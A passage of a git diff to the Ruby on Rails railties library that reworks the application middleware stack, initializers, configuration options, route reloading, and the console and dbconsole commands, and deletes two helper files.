+      require "rails/tasks"
+      config = self.config
+      task :environment do
+        config.eager_load = false
+        require_environment!
+      end
+    end
+
+    def run_generators_blocks(app) #:nodoc:
+      railties.each { |r| r.run_generators_blocks(app) }
+      super
+    end
+
+    def run_runner_blocks(app) #:nodoc:
+      railties.each { |r| r.run_runner_blocks(app) }
+      super
+    end
+
+    def run_console_blocks(app) #:nodoc:
+      railties.each { |r| r.run_console_blocks(app) }
+      super
+    end
+
+    # Returns the ordered railties for this application considering railties_order.
+    def ordered_railties #:nodoc:
+      @ordered_railties ||= begin
+        order = config.railties_order.map do |railtie|
+          if railtie == :main_app
+            self
+          elsif railtie.respond_to?(:instance)
+            railtie.instance
+          else
+            railtie
+          end
+        end
+
+        all = (railties - order)
+        all.push(self)   unless (all + order).include?(self)
+        order.push(:all) unless order.include?(:all)
+
+        index = order.index(:all)
+        order[index] = all
+        order.reverse.flatten
+      end
+    end
+
+    def railties_initializers(current) #:nodoc:
+      initializers = []
+      ordered_railties.each do |r|
+        if r == self
+          initializers += current
+        else
+          initializers += r.initializers
+        end
+      end
+      initializers
+    end
+
+    def reload_dependencies? #:nodoc:
+      config.reload_classes_only_on_change != true || reloaders.map(&:updated?).any?
+    end
+
+    def default_middleware_stack #:nodoc:
       ActionDispatch::MiddlewareStack.new.tap do |middleware|
+        app = self
         if rack_cache = config.action_controller.perform_caching && config.action_dispatch.rack_cache
           require "action_dispatch/http/rack_cache"
           middleware.use ::Rack::Cache, rack_cache
         end
 
         if config.force_ssl
-          require "rack/ssl"
-          middleware.use ::Rack::SSL, config.ssl_options
+          middleware.use ::ActionDispatch::SSL, config.ssl_options
+        end
+
+        if config.action_dispatch.x_sendfile_header.present?
+          middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
         end
 
         if config.serve_static_assets
           middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
         end
 
-        middleware.use ::Rack::Lock unless config.allow_concurrency
+        middleware.use ::Rack::Lock unless config.cache_classes
         middleware.use ::Rack::Runtime
         middleware.use ::Rack::MethodOverride
         middleware.use ::ActionDispatch::RequestId
         middleware.use ::Rails::Rack::Logger, config.log_tags # must come after Rack::MethodOverride to properly log overridden methods
-        middleware.use ::ActionDispatch::ShowExceptions, config.consider_all_requests_local
+        middleware.use ::ActionDispatch::ShowExceptions, config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+        middleware.use ::ActionDispatch::DebugExceptions, app
         middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
-        if config.action_dispatch.x_sendfile_header.present?
-          middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+        unless config.cache_classes
+          middleware.use ::ActionDispatch::Reloader, lambda { app.reload_dependencies? }
         end
-        middleware.use ::ActionDispatch::Reloader unless config.cache_classes
+
         middleware.use ::ActionDispatch::Callbacks
         middleware.use ::ActionDispatch::Cookies
 
         if config.session_store
+          if config.force_ssl && !config.session_options.key?(:secure)
+            config.session_options[:secure] = true
+          end
           middleware.use config.session_store, config.session_options
           middleware.use ::ActionDispatch::Flash
         end
 
         middleware.use ::ActionDispatch::ParamsParser
-        middleware.use ::ActionDispatch::Head
+        middleware.use ::Rack::Head
         middleware.use ::Rack::ConditionalGet
         middleware.use ::Rack::ETag, "no-cache"
 
@@ -191,20 +332,16 @@ module Rails
       end
     end
 
-    def initialize_tasks
-      self.class.rake_tasks do
-        require "rails/tasks"
-        task :environment do
-          $rails_rake_task = true
-          require_environment!
-        end
-      end
-    end
+    def build_original_fullpath(env) #:nodoc:
+      path_info    = env["PATH_INFO"]
+      query_string = env["QUERY_STRING"]
+      script_name  = env["SCRIPT_NAME"]
 
-    def initialize_console
-      require "pp"
-      require "rails/console/app"
-      require "rails/console/helpers"
+      if query_string.present?
+        "#{script_name}#{path_info}?#{query_string}"
+      else
+        "#{script_name}#{path_info}"
+      end
     end
   end
 end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
index c2cb121e42..a1bc95550b 100644
--- a/railties/lib/rails/application/bootstrap.rb
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -13,53 +13,60 @@ module Rails
         require "active_support/all" unless config.active_support.bare
       end
 
-      # Preload all frameworks specified by the Configuration#frameworks.
-      # Used by Passenger to ensure everything's loaded before forking and
-      # to avoid autoload race conditions in JRuby.
-      initializer :preload_frameworks, :group => :all do
-        ActiveSupport::Autoload.eager_autoload! if config.preload_frameworks
+      initializer :set_eager_load, :group => :all do
+        if config.eager_load.nil?
+          warn <<-INFO
+config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
+
+  * development - set it to false
+  * test - set it to false (unless you use a tool that preloads your test environment)
+  * production - set it to true
+
+INFO
+          config.eager_load = config.cache_classes
+        end
       end
 
       # Initialize the logger early in the stack in case we need to log some deprecation.
       initializer :initialize_logger, :group => :all do
         Rails.logger ||= config.logger || begin
           path = config.paths["log"].first
-          logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(path))
-          logger.level = ActiveSupport::BufferedLogger.const_get(config.log_level.to_s.upcase)
-          logger.auto_flushing = false if Rails.env.production?
+          unless File.exist? File.dirname path
+            FileUtils.mkdir_p File.dirname path
+          end
+
+          f = File.open path, 'a'
+          f.binmode
+          f.sync = config.autoflush_log # if true make sure every write flushes
+
+          logger = ActiveSupport::Logger.new f
+          logger.formatter = config.log_formatter
+          logger = ActiveSupport::TaggedLogging.new(logger)
+          logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
           logger
         rescue StandardError
-          logger = ActiveSupport::TaggedLogging.new(ActiveSupport::BufferedLogger.new(STDERR))
-          logger.level = ActiveSupport::BufferedLogger::WARN
+          logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
+          logger.level = ActiveSupport::Logger::WARN
           logger.warn(
             "Rails Error: Unable to access log file. Please ensure that #{path} exists and is chmod 0666. " +
             "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
           )
           logger
         end
-        at_exit { Rails.logger.flush if Rails.logger.respond_to?(:flush) }
       end
 
       # Initialize cache early in the stack so railties can make use of it.
       initializer :initialize_cache, :group => :all do
-        unless defined?(RAILS_CACHE)
-          silence_warnings { Object.const_set "RAILS_CACHE", ActiveSupport::Cache.lookup_store(config.cache_store) }
+        unless Rails.cache
+          Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store)
 
-          if RAILS_CACHE.respond_to?(:middleware)
-            config.middleware.insert_before("Rack::Runtime", RAILS_CACHE.middleware)
+          if Rails.cache.respond_to?(:middleware)
+            config.middleware.insert_before("Rack::Runtime", Rails.cache.middleware)
           end
         end
       end
 
-      initializer :set_clear_dependencies_hook, :group => :all do
-        ActionDispatch::Reloader.to_cleanup do
-          ActiveSupport::DescendantsTracker.clear
-          ActiveSupport::Dependencies.clear
-        end
-      end
-
       # Sets the dependency loading mechanism.
-      # TODO: Remove files from the $" and always use require.
       initializer :initialize_dependency_mechanism, :group => :all do
         ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
       end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
index 8f5b28faf8..7f05b2e7e1 100644
--- a/railties/lib/rails/application/configuration.rb
+++ b/railties/lib/rails/application/configuration.rb
@@ -1,17 +1,18 @@
-require 'active_support/core_ext/string/encoding'
 require 'active_support/core_ext/kernel/reporting'
+require 'active_support/file_update_checker'
 require 'rails/engine/configuration'
 
 module Rails
   class Application
     class Configuration < ::Rails::Engine::Configuration
-      attr_accessor :allow_concurrency, :asset_host, :asset_path, :assets,
-                    :cache_classes, :cache_store, :consider_all_requests_local,
-                    :dependency_loading, :filter_parameters,
-                    :force_ssl, :helpers_paths, :logger, :log_tags, :preload_frameworks,
-                    :reload_plugins, :secret_token, :serve_static_assets,
-                    :ssl_options, :static_cache_control, :session_options, 
-                    :time_zone, :whiny_nils
+      attr_accessor :asset_host, :asset_path, :assets, :autoflush_log,
+                    :cache_classes, :cache_store, :consider_all_requests_local, :console,
+                    :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
+                    :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
+                    :railties_order, :relative_url_root, :secret_token,
+                    :serve_static_assets, :ssl_options, :static_cache_control, :session_options,
+                    :time_zone, :reload_classes_only_on_change,
+                    :queue, :queue_consumer
 
       attr_writer :log_level
       attr_reader :encoding
@@ -19,27 +20,35 @@ module Rails
       def initialize(*)
         super
         self.encoding = "utf-8"
-        @allow_concurrency           = false
-        @consider_all_requests_local = false
-        @filter_parameters           = []
-        @helpers_paths               = []
-        @dependency_loading          = true
-        @serve_static_assets         = true
-        @static_cache_control        = nil
-        @force_ssl                   = false
-        @ssl_options                 = {}
-        @session_store               = :cookie_store
-        @session_options             = {}
-        @time_zone                   = "UTC"
-        @log_level                   = nil
-        @middleware                  = app_middleware
-        @generators                  = app_generators
-        @cache_store                 = [ :file_store, "#{root}/tmp/cache/" ]
+        @consider_all_requests_local   = false
+        @filter_parameters             = []
+        @helpers_paths                 = []
+        @serve_static_assets           = true
+        @static_cache_control          = nil
+        @force_ssl                     = false
+        @ssl_options                   = {}
+        @session_store                 = :cookie_store
+        @session_options               = {}
+        @time_zone                     = "UTC"
+        @log_level                     = nil
+        @middleware                    = app_middleware
+        @generators                    = app_generators
+        @cache_store                   = [ :file_store, "#{root}/tmp/cache/" ]
+        @railties_order                = [:all]
+        @relative_url_root             = ENV["RAILS_RELATIVE_URL_ROOT"]
+        @reload_classes_only_on_change = true
+        @file_watcher                  = ActiveSupport::FileUpdateChecker
+        @exceptions_app                = nil
+        @autoflush_log                 = true
+        @log_formatter                 = ActiveSupport::Logger::SimpleFormatter.new
+        @queue                         = Rails::Queueing::Queue
+        @queue_consumer                = Rails::Queueing::ThreadedConsumer
+        @eager_load                    = nil
 
         @assets = ActiveSupport::OrderedOptions.new
         @assets.enabled                  = false
         @assets.paths                    = []
-        @assets.precompile               = [ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) },
+        @assets.precompile               = [ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) },
                                              /(?:\/|\\|\A)application\.(css|js)$/ ]
         @assets.prefix                   = "/assets"
         @assets.version                  = ''
@@ -51,6 +60,7 @@ module Rails
         @assets.js_compressor            = nil
         @assets.css_compressor           = nil
         @assets.initialize_on_precompile = true
+        @assets.logger                   = nil
       end
 
       def compiled_asset_path
@@ -59,17 +69,9 @@ module Rails
 
       def encoding=(value)
         @encoding = value
-        if "ruby".encoding_aware?
-          silence_warnings do
-            Encoding.default_external = value
-            Encoding.default_internal = value
-          end
-        else
-          $KCODE = value
-          if $KCODE == "NONE"
-            raise "The value you specified for config.encoding is " \
-                  "invalid. The possible values are UTF8, SJIS, or EUC"
-          end
+        silence_warnings do
+          Encoding.default_external = value
+          Encoding.default_internal = value
         end
       end
 
@@ -88,15 +90,12 @@ module Rails
         end
       end
 
-      # Enable threaded mode. Allows concurrent requests to controller actions and
-      # multiple database connections. Also disables automatic dependency loading
-      # after boot, and disables reloading code on every request, as these are
-      # fundamentally incompatible with thread safety.
       def threadsafe!
-        self.preload_frameworks = true
-        self.cache_classes = true
-        self.dependency_loading = false
-        self.allow_concurrency = true
+        ActiveSupport::Deprecation.warn "config.threadsafe! is deprecated. Rails applications " \
+          "behave by default as thread safe in production as long as config.cache_classes and " \
+          "config.eager_load are set to true"
+        @cache_classes = true
+        @eager_load = true
         self
       end
 
@@ -105,7 +104,7 @@ module Rails
       # YAML::load.
       def database_configuration
         require 'erb'
-        YAML::load(ERB.new(IO.read(paths["config/database"].first)).result)
+        YAML.load ERB.new(IO.read(paths["config/database"].first)).result
       end
 
       def log_level
@@ -113,11 +112,10 @@ module Rails
       end
 
       def colorize_logging
-        @colorize_logging
+        ActiveSupport::LogSubscriber.colorize_logging
       end
 
       def colorize_logging=(val)
-        @colorize_logging = val
         ActiveSupport::LogSubscriber.colorize_logging = val
         self.generators.colorize_logging = val
       end
@@ -139,6 +137,11 @@ module Rails
           @session_options = args.shift || {}
         end
       end
+
+      def whiny_nils=(*)
+        ActiveSupport::Deprecation.warn "config.whiny_nils option " \
+          "is deprecated and no longer works", caller
+      end
     end
   end
 end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index 028c8814c4..1952a0fc3a 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -19,16 +19,12 @@ module Rails
         end
       end
 
-      initializer :add_to_prepare_blocks do
-        config.to_prepare_blocks.each do |block|
-          ActionDispatch::Reloader.to_prepare(&block)
-        end
-      end
-
       initializer :add_builtin_route do |app|
         if Rails.env.development?
           app.routes.append do
-            match '/rails/info/properties' => "rails/info#properties"
+            get '/rails/info/properties' => "rails/info#properties"
+            get '/rails/info/routes'     => "rails/info#routes"
+            get '/rails/info'            => "rails/info#index"
           end
         end
       end
@@ -37,40 +33,75 @@ module Rails
         build_middleware_stack
       end
 
-      initializer :run_prepare_callbacks do
-        ActionDispatch::Reloader.prepare!
-      end
-
       initializer :define_main_app_helper do |app|
         app.routes.define_mounted_helper(:main_app)
       end
 
+      initializer :add_to_prepare_blocks do
+        config.to_prepare_blocks.each do |block|
+          ActionDispatch::Reloader.to_prepare(&block)
+        end
+      end
+
+      # This needs to happen before eager load so it happens
+      # in exactly the same point regardless of config.cache_classes
+      initializer :run_prepare_callbacks do
+        ActionDispatch::Reloader.prepare!
+      end
+
       initializer :eager_load! do
-        if config.cache_classes && !$rails_rake_task
+        if config.eager_load
           ActiveSupport.run_load_hooks(:before_eager_load, self)
-          eager_load!
+          config.eager_load_namespaces.each(&:eager_load!)
         end
       end
 
+      # All initialization is done, including eager loading in production
       initializer :finisher_hook do
         ActiveSupport.run_load_hooks(:after_initialize, self)
       end
 
-      # Force routes to be loaded just at the end and add it to to_prepare callbacks
-      # This needs to be after the finisher hook to ensure routes added in the hook
-      # are still loaded.
-      initializer :set_routes_reloader do |app|
-        reloader = lambda { app.routes_reloader.execute_if_updated }
-        reloader.call
-        ActionDispatch::Reloader.to_prepare(&reloader)
+      # Set app reload just after the finisher hook to ensure
+      # routes added in the hook are still loaded.
+      initializer :set_routes_reloader_hook do
+        reloader = routes_reloader
+        reloader.execute_if_updated
+        self.reloaders << reloader
+        ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+      end
+
+      # Set app reload just after the finisher hook to ensure
+      # paths added in the hook are still loaded.
+      initializer :set_clear_dependencies_hook, :group => :all do
+        callback = lambda do
+          ActiveSupport::DescendantsTracker.clear
+          ActiveSupport::Dependencies.clear
+        end
+
+        if config.reload_classes_only_on_change
+          reloader = config.file_watcher.new(*watchable_args, &callback)
+          self.reloaders << reloader
+          # We need to set a to_prepare callback regardless of the reloader result, i.e.
+          # models should be reloaded if any of the reloaders (i18n, routes) were updated.
+          ActionDispatch::Reloader.to_prepare(:prepend => true){ reloader.execute }
+        else
+          ActionDispatch::Reloader.to_cleanup(&callback)
+        end
       end
 
       # Disable dependency loading during request cycle
       initializer :disable_dependency_loading do
-        if config.cache_classes && !config.dependency_loading
+        if config.eager_load
           ActiveSupport::Dependencies.unhook!
         end
       end
+
+      initializer :activate_queue_consumer do |app|
+        if config.queue == Rails::Queueing::Queue
+          app.queue_consumer = config.queue_consumer.start(app.queue)
+          at_exit { app.queue_consumer.shutdown }
+        end
+      end
     end
   end
 end
diff --git a/railties/lib/rails/application/railties.rb b/railties/lib/rails/application/railties.rb
deleted file mode 100644
index 8f3a3e8bbb..0000000000
--- a/railties/lib/rails/application/railties.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'rails/engine/railties'
-
-module Rails
-  class Application < Engine
-    class Railties < Rails::Engine::Railties
-      def all(&block)
-        @all ||= railties + engines + plugins
-        @all.each(&block) if block
-        @all
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb
deleted file mode 100644
index 8252f21aa7..0000000000
--- a/railties/lib/rails/application/route_inspector.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-module Rails
-  class Application
-    ##
-    # This class is just used for displaying route information when someone
-    # executes `rake routes`.  People should not use this class.
-    class RouteInspector # :nodoc:
-      def format all_routes, filter = nil
-        if filter
-          all_routes = all_routes.select{ |route| route.defaults[:controller] == filter }
-        end
-
-        routes = all_routes.collect do |route|
-          route_reqs = route.requirements
-
-          rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/
-
-          controller = route_reqs[:controller] || ':controller'
-          action     = route_reqs[:action]     || ':action'
-
-          endpoint = rack_app ? rack_app.inspect : "#{controller}##{action}"
-          constraints = route_reqs.except(:controller, :action)
-
-          reqs = endpoint
-          reqs += " #{constraints.inspect}" unless constraints.empty?
-
-          verb = route.verb.source.gsub(/[$^]/, '')
-
-          {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs}
-        end
-
-        # Skip the route if it's internal info route
-        routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} }
-
-        name_width = routes.map{ |r| r[:name].length }.max
-        verb_width = routes.map{ |r| r[:verb].length }.max
-        path_width = routes.map{ |r| r[:path].length }.max
-
-        routes.map do |r|
-          "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
-        end
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
index 1d1f5e1b06..6f9a200aa9 100644
--- a/railties/lib/rails/application/routes_reloader.rb
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -1,10 +1,13 @@
+require "active_support/core_ext/module/delegation"
+
 module Rails
   class Application
-    class RoutesReloader < ::ActiveSupport::FileUpdateChecker
-      attr_reader :route_sets
+    class RoutesReloader
+      attr_reader :route_sets, :paths
+      delegate :execute_if_updated, :execute, :updated?, :to => :updater
 
       def initialize
-        super([]) { reload! }
+        @paths      = []
         @route_sets = []
       end
 
@@ -16,7 +19,15 @@ module Rails
         revert
       end
 
-    protected
+    private
+
+      def updater
+        @updater ||= begin
+          updater = ActiveSupport::FileUpdateChecker.new(paths) { reload! }
+          updater.execute
+          updater
+        end
+      end
 
       def clear!
         route_sets.each do |routes|
@@ -31,7 +42,7 @@ module Rails
 
       def finalize!
         route_sets.each do |routes|
-          ActiveSupport.on_load(:action_controller) { routes.finalize! }
+          routes.finalize!
         end
       end
 
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 36fd9aea19..8cc8eb1103 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -17,26 +17,11 @@ module Rails
 
     private
       def add_gem_filters
-        return unless defined?(Gem)
-
-        gems_paths = (Gem.path + [Gem.default_dir]).uniq.map!{ |p| Regexp.escape(p) }
+        gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
         return if gems_paths.empty?
 
         gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
         add_filter { |line| line.sub(gems_regexp, '\2 (\3) \4') }
       end
   end
-
-  # For installing the BacktraceCleaner in the test/unit
-  module BacktraceFilterForTestUnit #:nodoc:
-    def self.included(klass)
-      klass.send :alias_method_chain, :filter_backtrace, :cleaning
-    end
-
-    def filter_backtrace_with_cleaning(backtrace, prefix=nil)
-      backtrace = filter_backtrace_without_cleaning(backtrace, prefix)
-      backtrace = backtrace.first.split("\n") if backtrace.size == 1
-      Rails.backtrace_cleaner.clean(backtrace)
-    end
-  end
 end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index e6822b75b7..1aed2796c1 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -26,7 +26,7 @@ class CodeStatistics #:nodoc:
       Hash[@pairs.map{|pair| [pair.first, calculate_directory_statistics(pair.last)]}]
     end
 
-    def calculate_directory_statistics(directory, pattern = /.*\.rb$/)
+    def calculate_directory_statistics(directory, pattern = /.*\.(rb|js|coffee)$/)
       stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
 
       Dir.foreach(directory) do |file_name|
@@ -37,13 +37,33 @@ class CodeStatistics #:nodoc:
 
         next unless file_name =~ pattern
 
-        f = File.open(directory + "/" + file_name)
+        comment_started = false
+        
+        case file_name
+        when /.*\.js$/
+          comment_pattern = /^\s*\/\//
+        else
+          comment_pattern = /^\s*#/
+        end
 
-        while line = f.gets
-          stats["lines"]     += 1
-          stats["classes"]   += 1 if line =~ /class [A-Z]/
-          stats["methods"]   += 1 if line =~ /def [a-z]/
-          stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
+        File.open(directory + "/" + file_name) do |f|
+          while line = f.gets
+            stats["lines"]     += 1
+            if(comment_started)
+              if line =~ /^=end/
+                comment_started = false
+              end
+              next
+            else
+              if line =~ /^=begin/
+                comment_started = true
+                next
+              end
+            end
+            stats["classes"]   += 1 if line =~ /^\s*class\s+[_A-Z]/
+            stats["methods"]   += 1 if line =~ /^\s*def\s+[_a-z]/
+            stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ comment_pattern
+          end
         end
       end
 
@@ -82,13 +102,7 @@ class CodeStatistics #:nodoc:
       m_over_c   = (statistics["methods"] / statistics["classes"])   rescue m_over_c = 0
       loc_over_m = (statistics["codelines"] / statistics["methods"]) - 2 rescue loc_over_m = 0
 
-      start = if TEST_TYPES.include? name
-        "| #{name.ljust(20)} "
-      else
-        "| #{name.ljust(20)} "
-      end
-
-      puts start +
+      puts "| #{name.ljust(20)} " +
            "| #{statistics["lines"].to_s.rjust(5)} " +
            "| #{statistics["codelines"].to_s.rjust(5)} " +
            "| #{statistics["classes"].to_s.rjust(7)} " +
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index ada150ceec..9c5dc8f188 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/object/inclusion'
-
 ARGV << '--help' if ARGV.empty?
 
 aliases = {
@@ -36,9 +34,17 @@ when 'benchmarker', 'profiler'
 
 when 'console'
   require 'rails/commands/console'
+  options = Rails::Console.parse_arguments(ARGV)
+
+  # RAILS_ENV needs to be set before config/application is required
+  ENV['RAILS_ENV'] = options[:environment] if options[:environment]
+
+  # shift ARGV so IRB doesn't freak
+  ARGV.shift if ARGV.first && ARGV.first[0] != '-'
+
   require APP_PATH
   Rails.application.require_environment!
-  Rails::Console.start(Rails.application)
+  Rails::Console.start(Rails.application, options)
 
 when 'server'
   # Change to the application's path if there is no config.ru file in current dir.
@@ -57,23 +63,26 @@ when 'server'
 
 when 'dbconsole'
   require 'rails/commands/dbconsole'
-  require APP_PATH
-  Rails::DBConsole.start(Rails.application)
+  Rails::DBConsole.start
 
 when 'application', 'runner'
   require "rails/commands/#{command}"
 
 when 'new'
-  puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
-  puts "Type 'rails' for help."
-  exit(1)
+  if %w(-h --help).include?(ARGV.first)
+    require 'rails/commands/application'
+  else
+    puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+    puts "Type 'rails' for help."
+    exit(1)
+  end
 
 when '--version', '-v'
   ARGV.unshift '--version'
   require 'rails/commands/application'
 
 else
-  puts "Error: Command not recognized" unless command.in?(['-h', '--help'])
+  puts "Error: Command not recognized" unless %w(-h --help).include?(command)
   puts <<-EOT
 Usage: rails COMMAND [ARGS]
 
@@ -91,7 +100,7 @@ In addition to those, there are:
  destroy      Undo code generated with "generate" (short-cut alias: "d")
  benchmarker  See how fast a piece of code runs
  profiler     Get profile information from a piece of code
- plugin       Install a plugin
+ plugin new   Generates skeleton for developing a Rails plugin
  runner       Run a piece of code in the application environment (short-cut alias: "r")
 
 All commands can be run with -h (or --help) for more information.
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index 60d1aed73a..2cb6d5ca2e 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -19,7 +19,6 @@ else
   end
 end
 
-require 'rubygems' if ARGV.include?("--dev")
 require 'rails/generators'
 require 'rails/generators/rails/app/app_generator'
 
diff --git a/railties/lib/rails/commands/benchmarker.rb b/railties/lib/rails/commands/benchmarker.rb
index 6c52d0f70f..b745b45e17 100644
--- a/railties/lib/rails/commands/benchmarker.rb
+++ b/railties/lib/rails/commands/benchmarker.rb
@@ -21,7 +21,7 @@ def options
   options
 end
 
-class BenchmarkerTest < ActionDispatch::PerformanceTest
+class BenchmarkerTest < ActionDispatch::PerformanceTest #:nodoc:
   self.profile_options = options
 
   ARGV.each do |expression|
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index 32e361d421..92cee6b638 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -4,50 +4,88 @@ require 'irb/completion'
 
 module Rails
   class Console
-    def self.start(app)
-      new(app).start
+    class << self
+      def start(*args)
+        new(*args).start
+      end
+
+      def parse_arguments(arguments)
+        options = {}
+
+        OptionParser.new do |opt|
+          opt.banner = "Usage: rails console [environment] [options]"
+          opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
+          opt.on("-e", "--environment=name", String,
+                  "Specifies the environment to run this console under (test/development/production).",
+                  "Default: development") { |v| options[:environment] = v.strip }
+          opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
+          opt.parse!(arguments)
+        end
+
+        if arguments.first && arguments.first[0] != '-'
+          env = arguments.first
+          options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+        end
+
+        options
+      end
     end
 
-    def initialize(app)
-      @app = app
+    attr_reader :options, :app, :console
+
+    def initialize(app, options={})
+      @app     = app
+      @options = options
+      app.load_console
+      @console = app.config.console || IRB
     end
 
-    def start
-      options = {}
-
-      OptionParser.new do |opt|
-        opt.banner = "Usage: console [environment] [options]"
-        opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
-        opt.on("--debugger", 'Enable ruby-debugging for the console.') { |v| options[:debugger] = v }
-        opt.on('--irb', "DEPRECATED: Invoke `/your/choice/of/ruby script/rails console` instead") { |v| abort '--irb option is no longer supported. Invoke `/your/choice/of/ruby script/rails console` instead' }
-        opt.parse!(ARGV)
-      end
+    def sandbox?
+      options[:sandbox]
+    end
 
-      @app.sandbox = options[:sandbox]
-      @app.load_console
+    def environment
+      options[:environment] ||= ENV['RAILS_ENV'] || 'development'
+    end
 
-      if options[:debugger]
-        begin
-          require 'ruby-debug'
-          puts "=> Debugger enabled"
-        rescue Exception
-          puts "You need to install ruby-debug to run the console in debugging mode. With gems, use 'gem install ruby-debug'"
-          exit
-        end
-      end
+    def environment?
+      environment
+    end
+
+    def set_environment!
+      Rails.env = environment
+    end
+
+    def debugger?
+      options[:debugger]
+    end
+
+    def start
+      app.sandbox = sandbox?
+      require_debugger if debugger?
+      set_environment! if environment?
 
-      if options[:sandbox]
+      if sandbox?
         puts "Loading #{Rails.env} environment in sandbox (Rails #{Rails.version})"
         puts "Any modifications you make will be rolled back on exit"
       else
         puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
       end
-      IRB.start
+
+      if defined?(console::ExtendCommandBundle)
+        console::ExtendCommandBundle.send :include, Rails::ConsoleMethods
+      end
+      console.start
     end
-  end
-end
 
-# Has to set the RAILS_ENV before config/application is required
-if ARGV.first && !ARGV.first.index("-") && env = ARGV.shift # has to shift the env ARGV so IRB doesn't freak
-  ENV['RAILS_ENV'] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+    def require_debugger
+      begin
+        require 'debugger'
+        puts "=> Debugger enabled"
+      rescue Exception
+        puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
+        exit
+      end
+    end
+  end
 end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index b0ba76217a..cc0552184a 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -1,64 +1,23 @@
 require 'erb'
-
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'yaml'
 require 'optparse'
 require 'rbconfig'
 
 module Rails
   class DBConsole
-    def self.start(app)
-      new(app).start
+    attr_reader :config, :arguments
+    
+    def self.start
+      new.start
     end
 
-    def initialize(app)
-      @app = app
+    def initialize(arguments = ARGV)
+      @arguments = arguments
     end
 
     def start
-      include_password = false
-      options = {}
-      OptionParser.new do |opt|
-        opt.banner = "Usage: dbconsole [environment] [options]"
-        opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
-          include_password = true
-        end
-
-        opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'],
-          "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode|
-            options['mode'] = mode
-        end
-
-        opt.on("-h", "--header") do |h|
-          options['header'] = h
-        end
-
-        opt.parse!(ARGV)
-        abort opt.to_s unless (0..1).include?(ARGV.size)
-      end
-
-      unless config = YAML::load(ERB.new(IO.read("#{@app.root}/config/database.yml")).result)[Rails.env]
-        abort "No database is configured for the environment '#{Rails.env}'"
-      end
-
-
-      def find_cmd(*commands)
-        dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
